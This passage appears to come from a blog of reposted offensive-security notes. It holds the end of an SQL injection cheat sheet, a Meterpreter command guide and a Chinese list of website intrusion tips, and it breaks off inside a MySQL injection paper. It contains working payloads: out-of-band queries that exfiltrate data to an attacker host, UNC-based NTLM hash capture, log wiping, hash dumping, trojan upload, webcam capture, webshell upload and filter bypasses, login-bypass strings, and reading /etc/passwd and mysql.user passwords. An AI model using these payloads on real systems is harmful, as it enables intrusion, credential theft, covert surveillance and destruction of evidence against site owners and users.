    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION() 
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s
unfiltered in another action. This is common hidden layer problem.

Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘ 
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or
function, process etc. then it will insert first users password as your
name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of
target server, but possibly you inbound connection will be firewalled.
Can be very useful internal penetration tests. We force SQL Server to
connect our Windows UNC Share and capture data NTLM session with a tool
like Cain & Abel.

Bulk insert from a UNC Share (S) 
bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt’

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}.yourhost.com

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com

    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

References

Since these notes have been collected from several different
sources over a number of years, and through personal experiences, I may
have missed some references. If so please reach out to us so we can add you in this list.

【转载】Meterpreter Basic Commands

原文link: https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Using Meterpeter commands

Since the Meterpreter provides a
whole new environment, we will cover some of the basic Meterpreter
commands to get you started and help familiarize you with this most
powerful tool. Throughout this course, almost every available
Meterpreter command is covered. For those that aren’t covered,
experimentation is the key to successful learning.

help

The ‘help‘ command, as may be expected, displays the Meterpreter help menu.

meterpreter > help Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels ...snip...

 

background

The ‘background‘ command will send the current
Meterpreter session to the background and return you to the msf prompt.
To get back to your Meterpreter session, just interact with it again.

meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter >

 

cat

The ‘cat‘ command is identical to the command found on *nix systems. It displays the content of a file when it’s given as an argument.

meterpreter > cat Usage: cat file

Example usage: meterpreter > cat edit.txt What you talkin' about Willis meterpreter >

 

cd & pwd

The ‘cd‘ & ‘pwd‘ commands are used to change and display current working directly on the target host.
The change directory “cd” works the same way as it does under DOS and *nix systems.
By default, the current working folder is where the connection to your listener was initiated.

ARGUMENTS:

cd:	Path of the folder to change to pwd:	None required

Example usuage:

meterpreter > pwd c:\ meterpreter > cd c:\windows meterpreter > pwd c:\windows meterpreter >

 

clearev

The ‘clearev‘ command will clear the Application, System and Security logs on a Window systems. There are no options or arguments.

Before using Meterpreter to clear the logs | Metasploit Unleashed

Before using Meterpreter to clear the logs | Metasploit Unleashed

Example usage:
Before

meterpreter > clearev [*] Wiping 97 records from Application... [*] Wiping 415 records from System... [*] Wiping 0 records from Security... meterpreter >
After using Meterpreter to clear the logs | Metasploit Unleashed

After using Meterpreter to clear the logs | Metasploit Unleashed

After

download

The ‘download‘ command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.

meterpreter > download c:\\boot.ini [*] downloading: c:\boot.ini -> c:\boot.ini [*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini meterpreter >

 

edit

The ‘edit‘ command opens a file located on the target host.
It uses the ‘vim’ so all the editor’s commands are available.

Example usage:

meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
. ...snip... .
100666/rw-rw-rw-  0       fil   2012-03-01 13:47:10 -0500  edit.txt meterpreter > edit edit.txt 

 

Please refer to the “vim” editor documentation for more advance use.
http://www.vim.org/

execute

The ‘execute‘ command runs a command on the target.

meterpreter > execute -f cmd.exe -i -H Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

getuid

Running ‘getuid‘ will display the user that the Meterpreter server is running as on the host.

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >

 

hashdump

The ‘hashdump‘ post module will dump the contents of the SAM database.

meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: meterpreter >

 

idletime

Running ‘idletime‘ will display the number of seconds that the user at the remote machine has been idle.

meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter >

 

ipconfig

The ‘ipconfig‘ command displays the network interfaces and addresses on the remote machine.

meterpreter > ipconfig MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0 meterpreter >

 

lpwd & lcd

The ‘lpwd‘ & ‘lcd‘ commands are used to display and change the local working directory respectively.
When receiving a meterpreter shell, the local working directory is the location where one started the Metasploit console.
Changing the working directory will give your meterpreter session access to files located in this folder.

ARGUMENTS:

lpwd:		None required lcd:		Destination folder

Example usage:

meterpreter > lpwd /root meterpreter > lcd MSFU meterpreter > lpwd /root/MSFU meterpreter > lcd /var/www meterpreter > lpwd /var/www meterpreter >

 

ls

As in Linux, the ‘ls‘ command will list the files in the current remote directory.

meterpreter > ls Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data ...snip...

 

 

migrate

Using the ‘migrate‘ post module, you can migrate to another process on the victim.

meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter >

 

ps

The ‘ps‘ command displays a list of running processes on the target.

meterpreter > ps Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe ...snip...

 

resource

The ‘resource‘ command will execute meterpreter
instructions located inside a text file. Containing one entry per line,
“resource” will execute each line in sequence. This can help automate
repetitive actions performed by a user.

By default, the commands will run in the current working directory
(on target machine) and resource file in the local working directory
(the attacking machine).

meterpreter > resource Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >

ARGUMENTS:

path1:		The location of the file containing the commands to run. Path2Run:	The location where to run the commands found inside the file

Example usage
Our file used by resource:

root@kali:~# cat resource.txt ls
background root@kali:~#

Running resource command:

meterpreter> > resource resource.txt [*] Reading /root/resource.txt [*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

 

search

The ‘search‘ commands provides a way of locating
specific files on the target host. The command is capable of searching
through the whole system or specific folders.
Wildcards can also be used when creating the file pattern to search for.

meterpreter > search [-] You must specify a valid file glob to search for, e.g. >search -f *.doc

ARGUMENTS:

File pattern:	 	May contain wildcards
Search location:	Optional, if none is given the whole system will be searched.

Example usage:

meterpreter > search -f autoexec.bat Found 1 result...
    c:\AUTOEXEC.BAT meterpreter > search -f sea*.bat c:\\xamp\\ Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes) meterpreter >

 

shell

The ‘shell‘ command will present you with a standard shell on the target system.

meterpreter > shell Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

upload

As with the ‘download‘ command, you need to use double-slashes with the ‘upload’ command.

meterpreter > upload evil_trojan.exe c:\\windows\\system32 [*] uploading  : evil_trojan.exe -> c:\windows\system32 [*] uploaded   : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe meterpreter >

 

webcam_list

The ‘webcam_list‘ command when run from the meterpreter shell, will display currently available web cams on the target host.

Example usage:

meterpreter > webcam_list 1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW) meterpreter >

 

webcam_snap

The ‘webcam_snap’ command grabs a picture from a
connected web cam on the target system, and saves it to disc as a JPEG
image. By default, the save location is the local current working
directory with a randomized filename.

meterpreter > webcam_snap -h Usage: webcam_snap [options]
Grab a frame from the specified webcam.

OPTIONS:

    -h      Help Banner
    -i >opt>  The index of the webcam to use (Default: 1)
    -p >opt>  The JPEG image path (Default: 'gnFjTnzi.jpeg')
    -q >opt>  The JPEG image quality (Default: '50')
    -v >opt>  Automatically view the JPEG image (Default: 'true') meterpreter >

OPTIONS:

-h:	Displays the help information for the command
-i opt:	If more then 1 web cam is connected, use this option to select the device to capture the
        image from
-p opt:	Change path and filename of the image to be saved
-q opt:	The imagine quality, 50 being the default/medium setting, 100 being best quality
-v opt:	By default the value is true, which opens the image after capture.

 

Example usage:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >
Using webcam_snap Meterpreter plugin | Metasploit Unleashed

Using webcam_snap Meterpreter plugin | Metasploit Unleashed

【转载】常用渗透及入侵技巧总结

常用渗透及入侵技巧总结如下:

  1. 数据库备份拿shell的时候有时候不成功就备份成解析格式的试试
  2. 上传图片木马遇到拦截系统,连图片木马都上传不了,记事本打开图片木马在代码最前面加上gif89a试试
  3. 当后台有数据库备份但没有上传点时,把一句话木马插到任意处,数据库备份里备份成asp木马,再用一句话客户端连接木马
  4. 当网站前台有“会员注册” 注册一个账户进去看看有没有上传点,有的话直接上传asp木马以及利用iis6.0解析漏洞,不行就抓包用明小子上传
  5. 当页面提示只能上传jpg|gif|png等格式的时候,右键查看源文件,本地修改为asp|asa|php再本地上传即可拿下shell
  6. 入侵网站之前连接下3389,可以连接上的话先尝试弱口令,不行就按5次shift键,看看有没有shift后门,再尝试后门弱口令
  7. 访问后台地址时弹出提示框“请登陆” 把地址记出来(复制不了)放到“网页源代码分析器”里,选择浏览器-拦截跳转勾选–查看即可直接进入后台
  8. ewebeditor编辑器后台增加了asp|asa|cer|php|aspx等扩展名上传时都被过滤了,就增加一个aaspsp再上传asp木马就会解析成功了
  9. 注入工具猜解表段,但猜解字段时提示长度超过50之类,不妨扔到穿山甲去猜解试试,有时候就能成功猜解
  10. 当获得管理员密码却不知道管理员帐号时,到网站前台找新闻链接,一般“提交者”“发布者”的名字就是管理员的帐号了
  11. 菜刀里点击一句话木马地址右键,选择虚拟机终端,执行命令出现乱码时,返回去设置编码那里,将默认的GB2312改为UTF-8
  12. 破解出md5为20位,就把前3位和后1位去掉,剩余16位拿去CMD5解密就可以了
  13. 有时在木马代码里加上gif89a,上传成功访问的时候却出现了像图片一样的错误图像,说明服务器把gif89a当做图片来处理了,不要带gif89a就可以
  14. 网站的主站一般都很安全,这时就要旁注或C段了,但是想知道各个IP段开放了什么端口吗?用“啊D网络工具包”里面的IP端口扫描最明细了
  15. 有的后台不显示验证码,往注册表里添加一个ceg即可突破这个困境了,把下面的代码保存为Code.reg,双击导入就可以了捕获
  16. 注入侵的时候,建议挑php的站点来日,因为php站点一般都支持aspx脚本,aspx里权限比较大,对提权希望比较大呢
  17. 在注入点后面加上-1,若返回的页面和前面不同,是另一个正常的页面,则表示存在注入漏洞,而且是数字型的注入漏洞,在注入点后面加上-0,若返回的页面和之前的页面相同,然后加上-1,返回错误页面,则也表示存在注入漏洞,而且也是数字型的注入漏洞
  18. Linux的解析格式:1.php.xxx (xxx可以是任意) 如果apache不认识后缀为rar的文件,就用1.php.rar格式上传,文件就会被服务器当做PHP脚本解析
  19. 辨别linux系统方法:例如:http://www.xxx.com/xxx/abc.asp?id=125 把b换成大写B访问,如果出错了,就说明是linux系统,反之是windows系统
  20. 如何探测服务器上哪些站点支持aspx呢? 利用bing搜索:http://cn.bing.com/ 搜索格式:ip:服务器ip aspx
  21. PHP万能密码(帐号:’ UNION Select 1,1,1 FROM admin Where ”=’密码:1)
  22. ASP万能密码(帐号密码均是’or’=’or’或admin’or’1=1)
  23. 当我们通过注入或是社工把管理员的帐号跟md5密码搞到手的时候,却发现破解不出密码 (MD5是16位加密的),那么我们就可以用COOKIE欺骗来绕过,利用桂林老兵的cookie欺骗工具,把自己的ID以及md5密码都修改成管理员的,再修改cookie,访问时就会实现欺骗了
  24. 倘若目标站开了cdn加速,真实地址会被隐藏起来,我们想搞它就比较困难了。
  25. 一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插 入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又 慎。
  26. 自己的03服务器系统运行burp命令:java -jar bs1407.jar
  27. 记得常扫inc目录,很多时候存在fck编辑器

相关链接:

http://www.77169.com/hack/201510/214921.shtm

【转载】MySQL: Secure Web Apps – SQL Injection techniques

/================================================================================\
———————————[ PLAYHACK.net ]———————————
\================================================================================/

-[ INFOS ]———————————————————————–
Title: “MySQL: Secure Web Apps – SQL Injection techniques”
Author: Omni
Website: http://omni.playhack.net
Date: 2009-02-26 (ISO 8601)
———————————————————————————

-[ SUMMARY ]———————————————————————
0x01: Introduction
0x02: Injecting SQL
0x03: Exploiting a Login Form
0x04: Exploiting Different SQL Statement Type
0x05: Basic Victim Fingerprinting
0x06: Standard Blind SQL Injection
0x07: Double Query
0x08: Filters Evasion
0x09: SQL Injection Prevention
0x10: Conclusion
———————————————————————————

—[ 0x01: Introduction ]

Hi everybody! I’m here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.

I know that maybe lots of things here explained are a little bit old; but lots of people
asked to me by email how to find/to prevent SQL Injection flaws in their codes.

Yes, we could say that this is the second part of my first paper regarding PHP flaws
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection
(The reason? The focus was on an other principal theme).

How I wrote this paper? In my free time, a couple of lines to help people to find, prevent
this kind of attacks. I hope you enjoy it. For any question or whatever please
contact me here: omni_0 [at] yahoo [DOT] com .
——————————————————————————-[/]

—[ 0x02: Injecting SQL ]

As you know almost every dynamic web applications use a database (here we talk
about web application based on “LAMP architecture”) to store any kind of data needed
by the application such as images path, texts, user accounts, personal information,
goods in stock, etc.

The web application access to those information by using the SQL (Structured Query
Language). This kind of applications construct one or more SQL Statement to query
the DataBase (and for example to retrieve data); but this query sometimes incorporporate
user-supplied data. (take in mind this)

What about SQL? SQL is a DML (Data Manipulation Language) that is used
to insert, retrive and modify records present in the DataBase.

As I said before web application uses user-supplied data to query the DB but if the
supplied data is not properly sanitized before being used this can be unsafe and
an attacker can INJECT HIS OWN SQL code.
These flaws can be very destructive because an attacker can:

– Inject his data
– Retrive information about users, CC, DBMS.. (make a kind of information gathering)
– and so on..

The fundamentals of SQL Injection are similar to lots of DBMS but, as you know
there are some differences, in this paper I will cover “Exploting SQL Injection
in MySQL DBMS” as said upon (this means that if you want to test techniques here
explained on others DBMS you need to try at your own).
——————————————————————————-[/]

—[ 0x03: Exploiting a Login Form ]

Sometimes happends that coders doesn’t properly sanitize 2 important variables
such as user-name and password in the login form and this involve a critical
vulnerability that will allow to the attacker the access to a reserved area.

Let’s make an example query here below:

SELECT * FROM users WHERE username = ‘admin’ and password = ‘secret’

With this query the admin supply the username ‘admin’ and the password ‘secret’
if those are true, the admin will login into the application.
Let us suppose that the script is vulnerabile to sql injection; what happends
if we know the admin username (in this case ‘admin’)? We don’t know the password, but
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.
In this way:

SELECT * FROM users WHERE username = ‘admin’ /*’ and password = ‘foobar’

So, we supplied this information:

– As username = admin’ /*
– As password = foobar (what we want..)

Yes, the query will be true because admin is the right username but then with the
‘ /* ‘ symbol we commented the left SQL Statement.

Here below a funny (but true) example:

$sql = “SELECT permissions, username FROM $prefix”.”auth WHERE
username = ‘” . $_POST[‘username’] . “‘ AND password = MD5(‘”.$_POST[‘wordpass’].”‘);”;

$query = mysql_query($sql, $conn);

The variables passed with the POST method are not properly sanitized before being used
and an attacker can inject sql code to gain access to the application.
This is a simple attack but it has a very critical impact.
——————————————————————————-[/]

—[ 0x04: Exploiting Different SQL Statement Type ]

SQL Language uses different type of statements that could help the programmer to
make different queries to the DataBase; for example a SELECTion of record,
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can
“hack the query” in multiple ways; here below some examples.

SELECT Statement
——————

SELECT Statement is used to retrieve information from the database; and is
frequentely used “in every” application that returns information in response
to a user query. For example SELECT is used for login forms, browsing catalog, viewing
users infos, user profiles, in search engines, etc. The “point of failure” is
often the WHERE clause where exactly the users put their supplied arguments.

But sometimes happends that the “point of failure” is in the FROM clause; this
happends very rarely.

INSERT Statement
——————

INSERT statement is used to add new row in the table; and sometimes the application
doesn’t properly sanitize the data, so a query like the beneath could be vulnerable:

INSERT INTO usr (user, pwd, privilege) VALUES (‘new’, ‘pwd’, 10)

What happends if the pwd or username are not safe? We can absolutely “hack the
query” and perform a new interesting query as shown below:

INSERT INTO usr (user, pwd, privilege) VALUES (‘hacker’, ‘test’, 1)/*’, 3)

In this example the pwd field is unsafe and is used to create a new user with
the admin privilege (privilege = 1):

$SQL= “INSERT INTO usr (user, pwd, id) VALUES (‘new’, ‘”.$_GET[‘p’].”‘, 3)”;

$result = mysql_query($SQL);

UPDATE Statement
——————

UPDATE statement is used (as the word says) to UPDATE one or more records.
This type of statement is used when users (logged into the application) need
to change their own profile information; such as password, the billing address,
etc. An example of how the UPDATE statement works is shown below:

UPDATE usr SET pwd=’newpwd’ WHERE user = ‘billyJoe’ and password = ‘Billy’

The field pwd in the update_profile.php form is absolutely “a user-supply data”; so,
try to imagine what happends if the code is like the (vulnerable) code pasted below:

$SQL = “UPDATE usr SET pwd='”.$_GET[‘np’].”‘ WHERE user = ‘billyJoe’ and pwd = ‘Billy'”;
$result = mysql_query($SQL);

In this query the password needs to be correct (so, the user needs to know his own password :D)
and the password will be supplied with the GET method; but leave out this detail (it’s not so important
for our code injection) and concentrate to the new password field (supplied by $_GET[‘np’], that
is not sanitized); what happeds if we will inject our code here? Let see below:

UPDATE usr SET pwd=’owned’ WHERE user=’admin’/*’ WHERE user = ‘ad’ and pwd = ‘se’

here we just changed the admin password to ‘ owned ‘ :) sounds interesting right?

UNION SELECT Statement
————————-

The “UNION SELECT Statement” is used in SQL to combine the results of 2
or more different SELECT query; obviously in one result.
This kind of statement is very interesting because when you have a SELECT query
often you can add your own UNION SELECT statement to combine the queries (sure,
only if you have a “bugged sql statement”) and view the 2 (or more) results in only
one result set. To better understand what I mean I think is better to see an interesting
example and put our hands on it.

Here is our vulnerable code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

$SQL = “select * from news where id=”.$_GET[‘id’];

$result = mysql_query($SQL);

if (!$result) {
die(‘Invalid query: ‘ . mysql_error());
}

// Our query is TRUE
if ($result) {
echo ‘<br><br>WELCOME TO www.victim.net NEWS<br>’;
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {

echo ‘<br>Title:’.$row[1].'<br>’;
echo ‘<br>News:<br>’.$row[2];
}

}

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As we can see the $SQL variable is vulnerable and an attacker can inject his own
code into it and then gain interesting information. What happends if via browser we
call this URL: http://www.victim.net/CMS/view.php?id=1 ?

Nothing interesting, just our news with the ID equal to 1, here below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

How to make this interesting? :) We can use our UNION SELECT operator, and the
resultant query will be:

select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1

What is gonna happend? Look below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:secret

News:
1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

“Title: secret” is the admin password (ID = 1 is the admin in most cases) and the 1 in the “News:”
is the admin ID. So, why our output is so strange? This is not strange our tables has been made
in different ways. Just to make things clear look the tables below:

mysql> select * from usr;
———————–
| user   | pwd    | id    |
———————–
| admin | secret |    1 |
———————–
| ad     | aaaaa  |    2 |
———————–
| new   | test    |    5 |
———————–

mysql> select * from news;
—————————————————
| id   | title                | texts                              |
—————————————————
|    1 | testing news    | what about SQL Injection? |
—————————————————
|    2 | testing news 2 | could be bypassed easily?  |
—————————————————

Our UNION SELECT query will be:

mysql> select * from news where id = 1 union select * from usr where id = 1;
—————————————————
| id      | title              | texts                            |
—————————————————
| 1       | testing news | what about SQL Injection? |
—————————————————
| admin | secret          | 1                                   |
—————————————————

Is now clear? We have found the admin password. It’s great!

Ok, lets go deeper; what happends if we have 2 tables with a different number of
columns? Unfortunaltely UNION SELECT doesn’t work as show upon. I want to make
2 different examples to help you.

LESS FIELDS
————

mysql> select * from Anews;
————————————————
| title               | texts                                  |
————————————————
| testing news 2 | could be bypassed easily?      |
————————————————

mysql> select * from Anews union select * from usr;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

Yes, this is what happends if the UNION SELECT is used and the tables have a different
number of columns. So, what we can do to bypass this?

mysql> select * from Anews union select id, CONCAT_WS(‘ – ‘, user, pwd) from usr;
——————————————–
| title          | texts                                  |
——————————————–
| testing news 2 | could be bypassed easily? |
——————————————–
| 1                   | admin – secret                |
——————————————–
| 2                  | ad – aaaaa                      |
——————————————–
| 5                 | new – test                       |
——————————————–

We bypassed “the problem” just using a MySQL function CONCAT_WS (CONCAT can be used too).
Take in mind that different DBMS works in different way. I’m explaining in a general manner; therefore
sometimes you have to find other ways. :)

MORE FIELDS
————-

mysql> select * from fnews;
——————————————————–
| id   | pri   | title               | texts                             |
——————————————————–
|    1 |    0 | testing news 2 | could be bypassed easily? |
——————————————————–

What we can do now? Easy, just add a NULL field!!

mysql> select * from fnews union select NULL, id, user, pwd from usr;
———————————————————
| id   | pri     | title               | texts                             |
———————————————————
|    1 |    0   | testing news 2 | could be bypassed easily? |
———————————————————
| NULL |    1 | admin             | secre                            |
———————————————————
| NULL |    2 | ad                 | aaaaa                            |
———————————————————
| NULL |    5 | new               | test                              |
———————————————————

——————————————————————————-[/]

—[ 0x05: Basic Victim Fingerprinting ]

In this part of the paper I’ll explain some easy, but interesting, ways used while trying to do
information gathering before the Vulnerability Assessment and Penetration Test steps.

This is our scenario: we found a bugged Web Application on the host and we can inject our
SQL code.

So, what we need to know? Could be interesting to know the mysql server version;
maybe it’s a bugged version and we can exploit it.

How to do that? (I will not use bugged code; I’ll just make some examples. Use your
mind to understand how to use “these tips”)

mysql> select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;
—————————————————————————–
| id                               | pri     | title                | texts                            |
—————————————————————————–
| 1                                |    0   | testing news 2 | could be bypassed easily? |
—————————————————————————–
| 5.0.22-Debian               | NULL | NULL              | NULL                             |
—————————————————————————–

Here our mysql version. Also the OS has been putted on the screen :) (take in mind that
sometimes these information are modified).

Could be interesting to know the server time:

mysql> select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;
—————————————————————————
| id                           | pri     | title               | texts                              |
—————————————————————————
| 1                            |    0   | testing news 2 | could be bypassed easily?  |
—————————————————————————
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |
—————————————————————————

Yes, sometimes is useful to know what is the user used to connect to the database.

mysql> select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;

——————————————————————–
| id                  | pri     | title               | texts                             |
——————————————————————–
| 1                   |    0   | testing news 2 | could be bypassed easily? |
——————————————————————–
| omni@localhost | NULL | NULL              | NULL                             |
——————————————————————–

An interesting function implemented in mysql server is LOAD_FILE that, as the
word say, is able to load a file. What we can do with this? gain information and
read files. Here below the query used as example:

select * from news where id=1 union select NULL,NULL,LOAD_FILE(‘/etc/passwd’) from usr;

This is what my FireFox shows to me:

http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(‘/etc/password’)%20from%20usr;

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:

News:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[…]
[output cutted]
[…]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Sounds interesting right, don’t you?

Could be interesting to get some sensitive information such as mysql users and passwords
right? By injecting our code as shown below we can get such that information.

SELECT * FROM news WHERE id=’1′ UNION SELECT Host, User, Password FROM mysql.user/*’
——————————————————————————-[/]

—[ 0x06: Standard Blind SQL Injection ]

SQL Injection and Blind SQL Injection are attacks that are able to exploit a software
vulnerability by injecting sql codes; but the main difference between these attacks
is the method of determination of the vulnerability.

Yes, because in the Blind SQL Injection attacks, attacker will look the results
of his/her requests (with different parameter values) and if these results will return
the same information he/she could obtain some interesting data. (I know, it seems
a bit strange; but between few lines you will understand better).

But why Standard Blind SQL Injection? What does it mean? In this part of the paper
I’ll explain the basic way to obtain information with Blind SQL Injection without bear
in mind that this type of attacks could be optimized. I don’t wanna talk about the
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that –
“Optimizing the number of requests in blind SQL injection”).

Ok, let’s make a step forward and begin talking about Detection of Blind SQL Injection.
To test this vulnerability we have to find a condition that is always true; for example
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE
condition we don’t know if our new injected query will be true or false; therefore
we have to make some tests. When the query is true? The query is true when the record
returned contain the correct information. Maybe is a little bit strange this explanation but
to make things clear I wanna let you see an example. Suppose that we requested this
URL:

http://www.victim.net/CMS/view.php?id=1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As you can see we have just viewed our first news (id=1). What happends if we request
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?
In our browser we just see the same page because the query is obviously true.
Here below the injected query:

SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1

Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand
better how we can use this, I want to make a simple example/scenario. I’m thinking that
the web application is connected to MySQL using the user omni; how to know this by using
Blind SQL Injection? Just requesting this URL:

